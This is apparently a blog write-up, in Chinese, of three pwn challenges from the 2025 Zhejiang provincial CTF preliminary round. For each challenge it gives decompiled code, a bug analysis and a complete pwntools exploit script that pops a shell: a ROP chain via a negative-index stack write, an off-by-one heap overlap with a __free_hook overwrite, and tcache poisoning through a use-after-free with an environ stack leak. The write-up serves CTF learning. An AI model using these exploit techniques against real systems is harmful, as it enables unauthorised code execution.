2025浙江省省赛-初赛-wp

yfor

题目链接

1
https://github.com/yfor-yfor/-/tree/main/2025%E6%B5%99%E6%B1%9F%E7%9C%81%E7%9C%81%E8%B5%9B-%E5%88%9D%E8%B5%9B

rop

题目分析

有input和output两个函数,函数的参数是s

对s构造如下结构体后方便分析,由一个数组和一个变量index组成

1
2
3
4
5
struct arr{
__int64 arr[9];
__int64 index;
};

input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall input(arr *s)
{
__int64 index; // [rsp+18h] [rbp-38h]
char sa[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 canary; // [rsp+48h] [rbp-8h]

canary = __readfsqword(0x28u);
index = s->index;
if ( index <= 9 )
{
puts("input your number:");
fgets(sa, 24, stdin);
s->arr[index] = atoll(sa);
++s->index;
}
else
{
puts("input error");
}
return __readfsqword(0x28u) ^ canary;
}

漏洞点在于,当我们input8次后,s->index变成9,此时输入的number会写到s->index里,这时候我们就可以控制下次读入的位置了

而if的检查只检查上限,因此可以令s->index为一个负数值来修改负数下标处的内容

而s结构体的地址在main函数的栈帧上,因此我们有了在栈上任意写的能力

output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall output(arr *s)
{
__int64 index; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("index:");
__isoc99_scanf("%lld", &index);
getchar();
if ( index <= 9 )
{
puts("your number:");
printf("%lld\n", s->arr[index]);
s->arr[index] = 0LL;
--s->index;
}
else
{
puts("output error");
}
return __readfsqword(0x28u) ^ canary;
}

output也同样不检查index的下限,根据之前分析的可知,s在栈上,只要我们输入一个<=9的值,就可以泄露低地址处栈上的值,比如libc

攻击思路

实际的攻击更加简单,都不用覆写index

gdb调试input的内容可以发现

1
2
3
4
5
6
7
8
9
10
11
pwndbg> tele 0x7fffffffde00  15
00:0000-070 0x7fffffffde00 —▸ 0x401190 ◂— endbr64
01:0008│ rsp 0x7fffffffde08 —▸ 0x401523 ◂— jmp 0x4014cc //返回地址
02:0010│ rax rdi 0x7fffffffde10 ◂— 0 //s->arr[0]
... ↓ 9 skipped //s->arr[1~8]&s->index
0c:0060-010 0x7fffffffde60 —▸ 0x7fffffffdf60 ◂— 1
0d:0068-008 0x7fffffffde68 ◂— 0xab2679a5e8c33c00
0e:0070│ rbp 0x7fffffffde70 ◂— 0

pwndbg> x $rdi
0x7fffffffde10: 0x00000000

也就是我们可以直接在返回地址附近写入攻击内容

先通过output泄露libc

再开始input的布置,由于output会让index-1,此时修改的位置就是返回地址,所以把返回地址的值复原回去

之后我们就可以布置返回地址后方的攻击链了

也就是从arr[0]开始,理论上来说应该是

1
2
3
arr[0]:sh
arr[1]:ret
arr[2]:system

此时再通过多次output,令index=-1

写入arr[-1]:pop_rdi_ret 即劫持返回地址来触发完整攻击链

不过后续发现,output会把arr[0]清零,但是也很好处理,如下布置即可:

1
2
3
4
5
6
arr[-1]:pop_rdi_ret
arr[0]:0
arr[1]:pop_rdi
arr[2]:sh
arr[3]:ret
arr[4]:system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(arch='amd64',os='linux')
io=process('./pwn')
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(io)
pause()
def cmd(choice):
io.recvuntil(b'>>')
io.sendline(str(choice).encode())
def input(data):
cmd(1)
io.recvuntil(b'input your number:')
io.sendline(str(data))
def output(index):
cmd(2)
io.recvuntil(b'index:')
io.sendline(str(index))

output(-13)
io.recvuntil(b'your number:\n')
libc_base=int(io.recv(15))-0x8459a
info("libc_base: "+hex(libc_base))
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh\x00'),)
pop_rdi=libc_base+next(libc.search(asm('pop rdi;ret'),executable=True))
ret=libc_base+next(libc.search(asm('ret;'),executable=True))


input(0x401523)
#dbg()
input(0)
input(pop_rdi)
input(sh)
input(ret)
input(system)
for i in range(6):
output(0)
input(pop_rdi)
io.interactive()

one

题目分析

开头有一个简单的检验,伪随机数绕过即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int login()
{
unsigned int seed; // eax
int v2; // [rsp+0h] [rbp-10h]
int v3; // [rsp+4h] [rbp-Ch]

seed = time(0LL);
srand(seed);
v2 = rand() % 200;
v3 = rand() % 100;
puts("Let me know if u are not a rebot.");
printf("%d+%d=?\n", v2, v3);
if ( v2 + v3 != (unsigned int)readint() )
{
puts("Get out robot");
exit(1);
}
return puts("Go on!");
}

接下来是四个交互都有的常规堆,漏洞点在edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 edit()
{
signed int n8; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which one?");
__isoc99_scanf("%d", &n8);
if ( (unsigned int)n8 > 8 || !*((_QWORD *)&clist + n8) )
{
puts("sorry");
exit(1);
}
puts("what to change?");
read(0, *((void **)&clist + n8), slist[n8] + 1);
puts("Finish!");
return __readfsqword(0x28u) ^ v2;
}

非常明显的off-by-one

而且是2.31版本,检查不多,直接选择造成堆块复用然后打free_hook即可

麻烦的是题目没给版本,不过简单的测试一下回显的结果,就能确定libc的版本范围了

最后使用的是2.27-3ubuntu1.6_amd64这个版本的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from ctypes import *
context(arch='amd64',os='linux')
io=process('./pwn')
lib=CDLL('./libc-2.27.so')
libc=ELF('./libc-2.27.so')
def init():
time=lib.time(0)
lib.srand(time)
io.recvuntil(b'?\n')
io.sendline(str(lib.rand()%200+lib.rand()%100).encode())
def dbg():
gdb.attach(io)
pause()
def cmd(choice):
io.recvuntil(b'5.exit\n')
io.sendline(str(choice).encode())
def add(index,size,data):
cmd(1)
io.recvuntil(b'the index of command?\n')
io.sendline(str(index).encode())
io.recvuntil(b'the size of command?\n')
io.sendline(str(size).encode())
io.recvuntil(b'the command?\n')
io.send(data)
def delete(index):
cmd(2)
io.recvuntil(b'which one?\n')
io.sendline(str(index).encode())
def edit(index,data):
cmd(4)
io.recvuntil(b'which one?\n')
io.sendline(str(index).encode())
io.recvuntil(b'what to change?\n')
io.send(data)
def show(index):
cmd(3)
io.recvuntil(b'which one?\n')
io.sendline(str(index).encode())
init()
add(0,0x430,b'aaaa')
add(1,0x20,b'aaaa')
delete(0)
add(0,0x20,b'aaaaaaaa')
show(0)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\x00'))-0x3ec0a0
info(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
add(2,0x400,b'aaaa')

add(3,0x38,b'aaa')
add(4,0x38,b'aaa')
add(5,0x38,b'aaa')
edit(3,b'a'*(0x38)+p8(0x81))
delete(3)
delete(4)
add(4,0x78,b'aaa')
delete(5)
edit(4,b'a'*(0x38)+p64(0x41)+p64(free_hook))

add(5,0x38,b'/bin/sh\x00')

add(3,0x38,p64(libc_base+libc.sym['system']))

delete(5)
io.interactive()

bad_heap

题目分析

有add,delete,show的2.35堆

add

主要限制了堆块的大小<=0x400

至于只能申请0x14个堆块倒是无所谓,因为并不检查哪些堆块是否正在使用,直接覆盖都可以

唯一有意思的检查是,判断申请到的堆块是不是在libc范围内,是就exit,这个后续会提及应对方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 add()
{
unsigned int n0x14_1; // ebx
unsigned int n0x14; // [rsp+0h] [rbp-20h] BYREF
_DWORD nbytes[5]; // [rsp+4h] [rbp-1Ch] BYREF

*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
puts("input idx:");
__isoc99_scanf("%d", &n0x14);
if ( n0x14 >= 0x14 )
exit(0);
puts("input size:");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x400u )
exit(0);
n0x14_1 = n0x14;
*((_QWORD *)&list + 2 * (int)n0x14_1) = malloc(nbytes[0]);
if ( *((_QWORD *)&list + 2 * (int)n0x14) >= (unsigned __int64)libc_start
&& *((_QWORD *)&list + 2 * (int)n0x14) <= (unsigned __int64)libc_end )
{
exit(0);
}
dword_40A8[4 * n0x14] = nbytes[0];
puts("input content:");
read(0, *((void **)&list + 2 * (int)n0x14), nbytes[0]);
return *(_QWORD *)&nbytes[1] - __readfsqword(0x28u);
}

delete

明显的uaf漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 dele()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("input idx:");
__isoc99_scanf("%d", &v1);
if ( *((_QWORD *)&list + 2 * v1) )
free(*((void **)&list + 2 * v1));
else
puts("no!");
return v2 - __readfsqword(0x28u);
}

show是常规流程

攻击流程

通过合理的排布堆块,让同一个chunck同时在unsortedbin和tcachebin中

再通过unsortedbin的合理切割,使得可以修改某个tcachebin中chunck的fd,完成tacahce posion即可

至于关于libc的检查不用担心,只是禁用了io

仍然有两种打法:

  1. 通过tls_dtor_list劫持exit,但是题目没给ld文件,断网环境下也没有自配这个对应小版本的ld文件所以并没有使用
  2. 利用environ攻击栈上返回地址,后续exp采用的就是这个方法

值得一提的是,environ地址与libc的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bss上的判断变量:libc_base & libc_end
10:00800x555555558080 —▸ 0x7ffff7c00000 ◂— 0x3010102464c457f
11:00880x555555558088 —▸ 0x7ffff7e1c000 ◂— 0

vmmap
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 libc.so.6
0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 libc.so.6
0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 libc.so.6
0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 libc.so.6
0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 libc.so.6
0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 libc.so.6
0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0 [anon_7ffff7e1c]
0x7ffff7fb8000 0x7ffff7fbd000 rw-p 5000 0 [anon_7ffff7fb8]

pwndbg> p &environ
$1 = (char ***) 0x7ffff7ffe2d0 <environ>

可以观察到,libc_base和libc_end确实对应了libc的起点终点,但是environ并不在这个范围内,而是在anon段
所以完全可以利用

我们需要先通过第一次poison申请到environ向前一点的内容,send发送覆盖到environ处即可

然后用show,使得覆盖的垃圾数据连带environ中存储的栈地址也泄露即可

之后再一次poison申请到栈上,攻击栈的返回地址为我们的攻击链即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import * 
context(arch='amd64',os='linux')#log_level='debug',
io=process('./pwn')
libc=ELF('./libc.so.6')
def dbg():
gdb.attach(io)
pause()
def cmd(choice):
io.recvuntil(b'inputs your choice:\n')
io.sendline(str(choice).encode())
def add(index,size,data=b'aaaa'):
cmd(1)
io.recvuntil(b'input idx:\n')
io.sendline(str(index))
io.recvuntil(b'input size:\n')
io.sendline(str(size))
io.recvuntil(b'input content:\n')
io.send(data)
def delete(index):
cmd(2)
io.recvuntil(b'input idx:\n')
io.sendline(str(index))
def show(index):
cmd(3)
io.recvuntil(b'input idx:\n')
io.sendline(str(index))

for i in range(10):
add(i,0x200)
for i in range(7):
delete(i)

show(0)
key=u64(io.recv(5).ljust(8,b'\x00'))
info("key: "+hex(key))

delete(7)
show(7)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
info("libc_base: "+hex(libc_base))
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
info("stdout: "+hex(stdout))
environ=libc_base+libc.sym['environ']

delete(8)

add(0,0x200)
delete(8)
add(8,0x200)

delete(8)
add(7,0x220,b'a'*(0x200)+p64(0x210)*2+p64((environ-0x10)^(key+1)))

add(8,0x200)

add(10,0x200,b'a'*(0x10))
show(10)
io.recvuntil(b'a'*(0x10))
stack=u64(io.recv(6).ljust(8,b'\x00'))
info("stack: "+hex(stack))

delete(7)
delete(8)
add(7,0x220,b'a'*(0x200)+p64(0x210)*2+p64((stack-0x148)^(key+1)))

add(8,0x200)
dbg()
payload=p64(0)
payload+=p64(libc_base+next(libc.search(asm('pop rdi;ret'),executable=True)))
payload+=p64(libc_base+next(libc.search(b'/bin/sh\x00')))
payload+=p64(libc_base+next(libc.search(asm('ret;'),executable=True)))
payload+=p64(libc_base+libc.sym['system'])
add(11,0x200,payload)
io.interactive()
  • Title: 2025浙江省省赛-初赛-wp
  • Author: yfor
  • Created at : 2025-11-10 00:06:35
  • Updated at : 2025-11-16 13:52:14
  • Link: https://yfor-yfor.github.io/2025/11/10/2025浙江省省赛-初赛-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments